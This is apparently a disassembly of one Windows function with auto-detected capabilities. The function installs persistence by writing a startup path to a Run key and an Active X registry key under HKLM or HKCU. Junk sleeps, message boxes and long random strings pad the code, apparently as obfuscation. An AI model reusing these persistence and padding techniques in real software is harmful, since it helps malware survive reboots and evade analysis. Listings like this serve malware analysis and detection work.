Function at 0x403a30
Capabilities:
Get file system object information
Print debug messages

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_Adding_run_key_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45c488
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Adding_Active_X_key_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45c4b1
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x11
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.aCao_g_npv_yaH_W_WYCqC__M2w6aB6_W_fza_lb3UgqR9_y_yBCxGDu___aDdKG5HP8URsKEf2YKjT__YqqK2z1i_Ew__DXDk_fPMHS3w_OGXt3sSyMTgD_NXC_CjzL_cjEm73V_3NAsY7__UPcbQXZ__bz_Equ_B_t7oMOvQtvv3SGhp__351pixFBv_1_zRfvs_28j_P8eWZq8S_MvY___BM3bkLw__v_fwYpgH_RV_Fg_IGqzm_mO_k1m_xtL_Dae_8M4az__z_9W_bTo_xR__5Z_u3LN6XhN7_I__MleDM__qo_12rirrsHj2aeWyCvN_K_vx__up_62M8R_WC_Pm_5AY_Jn9U9Y7A_yX6ke__S__dlRMo_Zow_G_Eq5yTwXdBgXPvpj_D_Y722fephuB4jCd__MKvs5y_d_RSC4g___nZa_sx_hVrqGxxC2GKAEvz5wWUP5Id3dVlaT51H_uR_tObO_N_KMgN__Nh_ngFqN_eYKIhtPmSa_k_dA7_HOk5mqxJ_1_RC4vl5wm7rKLjyNfQ__GH_NO1xnweR_LCS__y73_r_YtOqkwOEFRMkpzI3_oOWnCC_hoOXBqu31lc_SqK_dDVDXlq_hhK2Z_Aa_Sp61_89__TrTzVaRIihlARur7yG_2ONlf_ypbs_Ir_hIeJ_PvB_q_JOhLEY_Ebgm6mFd_F7_EObiqzcvaE_lB_Y___rIH8XLn7bs6B1k_MbhRqLG_BNc_JAala3_JAo_OVge7iPh_h__9t__WY_2X1H92z_qQBF3adWeKtlmLDa_yNqqS2FlB59BcEWZzrbLNO2_Yn_qA_4EpMvX8z_ABw6s9la4b9PhFL_MN_V6cdw5UBlPzWIfpBoUjxP_m__Tb_vuty_MvO_6aQbG7A4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x4d
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x21
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
movsx eax, byte [0x45c488]
cmp eax, 0x30
je 0x403cac
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
cmp dword [0x45d250], 0
je 0x403bb2
cmp dword [0x45b48c], 0
jne 0x403bb2
call fcn.00407570
call fcn.00407570
push esp
pop esi
lea ecx, [ebp - 8]
push ecx
push 0x45b300
push 0x80000002
call dword [0x45d278]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.RegCreateKeyEx_called_successfully.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x403bd9
call fcn.00407570
call fcn.00407570
push esp
pop esi
lea edx, [ebp - 8]
push edx
push 0x45b300
push 0x80000001
call dword [0x45d278]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x45d040
call fcn.00408980
add esp, 4
push esp
pop esi
push eax
push 0x45d040
push 1
push 0
push 0x45c488
mov eax, dword [ebp - 8]
push eax
call dword [0x45d27c]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.RegSetValueExA_called_successfully.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x2f
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 8]
push ecx
call dword [0x45d270]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.RegCloseKey_called_successfully.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x62
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
jmp 0x403f7b
movsx edx, byte [0x45c4b1]
cmp edx, 0x30
je 0x403f7b
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x14], 0
call fcn.00407570
call fcn.00407570
push 0x105
call fcn.004075b0
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
call fcn.00407570
call fcn.00407570
push str.f_f_
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00407ab0
add esp, 8
push esp
pop esi
push str.DEBUG:_Active_X_now:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x3f
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x45c4b1
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00407ac0
add esp, 8
push esp
pop esi
push str.DEBUG:_Active_X_now__2_:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.n_zHAbtSX4_et_BKTTAYoIU_rmZvBZWS_Kf5OyA_BP_7q2Rh_RfsdG_n7luZ6myzZwzzTghAdT7_Rss_JdkuDe4JuyNMWCSP_m_UuT_MBgtDFB93VA4OeM5g_GeZ4ETBU_jheLDINBdW_v__LhE__H31oTdkMh7_vr4WDiHzKt
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str._Cm54RzRfgIY_D_NxB89XShYM_GSiw8H_D8bo_Qfxxo_lfcDJNphHdPlZP7McEmSgyxKKQ2SQp3Ob_bc2MoXNzt_uv85_qA__GrW_KClo65_JswW3_5fsp_BklbeVlLmOM_rB__a_BE_DKe_LkR_k4p_yhUm_2t_xEF_I_3Gl_US_z_ai_XH7T_UG3k_uN_iAZwj__wD___F_bn_AHfKQtArOJfz9S56mC_hpa__PA_PCzzLkvxGVLES28N7N___kR_ND_L_AC9__O_UWqM__PNH6wDReAYGRk_mTQ3_vcvkGc_N_3Obj8LaH_pqBO_NJy_cKn7dK5fxmqoCp8QaV6MH_4f7hX4M__vQB_JKW_Y_EqQn_zw4E_VHvETbGePAUTuK_lxxdhQNn__F_GQ__fkD4ohx_BRb_AKq_KbWMg_uUgg__ib_o_MhPGBc94zprp_zE3TNf3Ky8FKQ9_K_U__hCnNJ4Nafzg_hNIxk9i8_VDI_rh_XU_9BghaphLuLWqH_aRp_x_hD4_D7_W_CB_6Y7CWsS_Ut_ivvwpzdIQmRCpD6U
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
cmp dword [0x45d250], 0
je 0x403e59
cmp dword [0x45b48c], 0
jne 0x403e59
push esp
pop esi
push str.DEBUG:_Adding_Active_X_key_to_HKLM.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.CO3_5_M5_bPimPm_fGgZFsvJ9VD_41TOytCZpjJWfEZrxuXXaF_Fh1MsA_8_oBR_I_IZU_YB_k_H34a9Uk__N2L_tfR_XffrukGeQ1_s3_TG6_RTjqB__xNWtRZlKlV__xnrnRl8d_BiWNF61Ep_1p_RJgVBgd9Y_A6dVkLBZ_L_l_jFv_twHkD8W_Dq_C88mmdcJWs_awVEt84rmJH_IrfK__8_dgu_jU_g_znmJ_ttb8We_n2PrFOmsyy1DS__mlGpJ__EQin2D_T_pIVimm_mnUvtNNSVrg3nZRLEbXISDrGPIX_2x6nC3_8zTX_rZX297WzE_Vll4pD_b__X8uDgHdsg5bLKMRJ_HBDC1_T_gt_yE_XoRG_mhZmWTFWFb___5g8g_6IlFK_C_gA_lv6Ng3SBdshoYinOry_z1J_U38eD4Ujs_O7dsOf_MoJE_6Au_x5___Y_FV_Ek6LviwNc_iKdc76KF_L9ogqH__bXw__n66UusMJTSrNyrpLEgF_E6J2PAQ_I7Xb_AlGDP4u9osAcbk1rWi_UjXF9tEzw_Q_L1t7Ss_SLFsp_d_yz
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.NIbo_IUlq__3SjNpj__JxKxdkdBkQ_rs1xCqE_j3_B_Dp_f_18pJFh1_4Qvh_c_IG__m_T_YoqWc89rATCwf19VxgE2bB_h55VpwRl_OfSAucDPu__gu_21hlYG_RA_LG_3__2Y_T_bbs3BQ_P78Ld__ghO_TVh_kKzR8Mo__H7__5k__OCM__XD7Jf_SqKA_P_HFbbTWRR_h_Z6b
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
push eax
push 0x80000002
call dword [0x45d278]
cmp esi, esp
call fcn.00407340
jmp 0x403ec2
push esp
pop esi
push str.DEBUG:_Adding_Active_X_key_to_HKCU.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.ZvyVHGbOvpF_gGH4NRk1D7rYJrHo_IAfTSzzb8p5_iT_u3iL_Izi4sxX_mi4U__EA___SVJ45_t_6__xbxaW7_nhXsIay_HVpBE1fBf6w_K5EGY44ctN_wfiXmN_pkJkwJ_1a_Hd_7XbcEZxEsPU8k4ETRB3mS6_FH2_Y4L_CxI_UHSHvr_I_BI__DVph2Pa6__n9_8_megrFq4_eUX_7VA_ev_6Lf49_TP_dk3dPNrAiR_a1IKJzqItAdGpdw_a83J_csQ__wbHkcDfLNCSQx_Cg__MG___J_6o7zht__UNu6YwLuZNY2XX__OkDJeSUmH_yMDMAuWFuzlQ_c_OumW_FSrPDqS_iI__qEuPmR_5_gfr_4wdL_9_S_D_Br_dyQijbZGEvUnG_acZsk_6KH2Js___ul_AB_DTZ_lY__unKORX15qhY_CA7y43hHr1o_wTyHsQ7el3av8b_jwv7F__ssqEw__3__Os_nOjWW7V_pC_M7n_iptkSP__kV1z_Zz1_xv7pEj1U8qx2TCEh_UCMgzy_3x7_7L3U6__E9_cDCQKa8_Ys_8VBG__82Aevq_R_iNCO6vrN1kNXjw_UOoJT73_uLE727Ie___x9mogmvT7yBimCvL5OW5Ibgj_KmZzwmz7I___quRziGGRHaUlwKVK__UmX_e9h5jhv_jsuGfcUo_isP_7B2meANvTxe8V6AqaLBRMngTsmG_31eh_7_XgTK_LF5beW_2cOL_X2fRlLVbhWzwRHt_Q_cx_344XAD_v_JK_yrTH84gKwbcd2BB__3bdW_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
push 0x80000001
call dword [0x45d278]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.The_start_up_location_is:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45d040
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x30
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x45d040
call fcn.00408980
add esp, 4
push esp
pop esi
push eax
push 0x45d040
push 1
push 0
push str.fE__b_a
mov eax, dword [ebp - 0x14]
push eax
call dword [0x45d27c]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x45d270]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push edx
push ebp
pop ecx
push eax
lea edx, [0x403fa8]
call fcn.00407370
pop eax
pop edx
pop esi
add esp, 0x20
cmp ebp, esp
call fcn.00407340
push ebp
pop esp
pop ebp
ret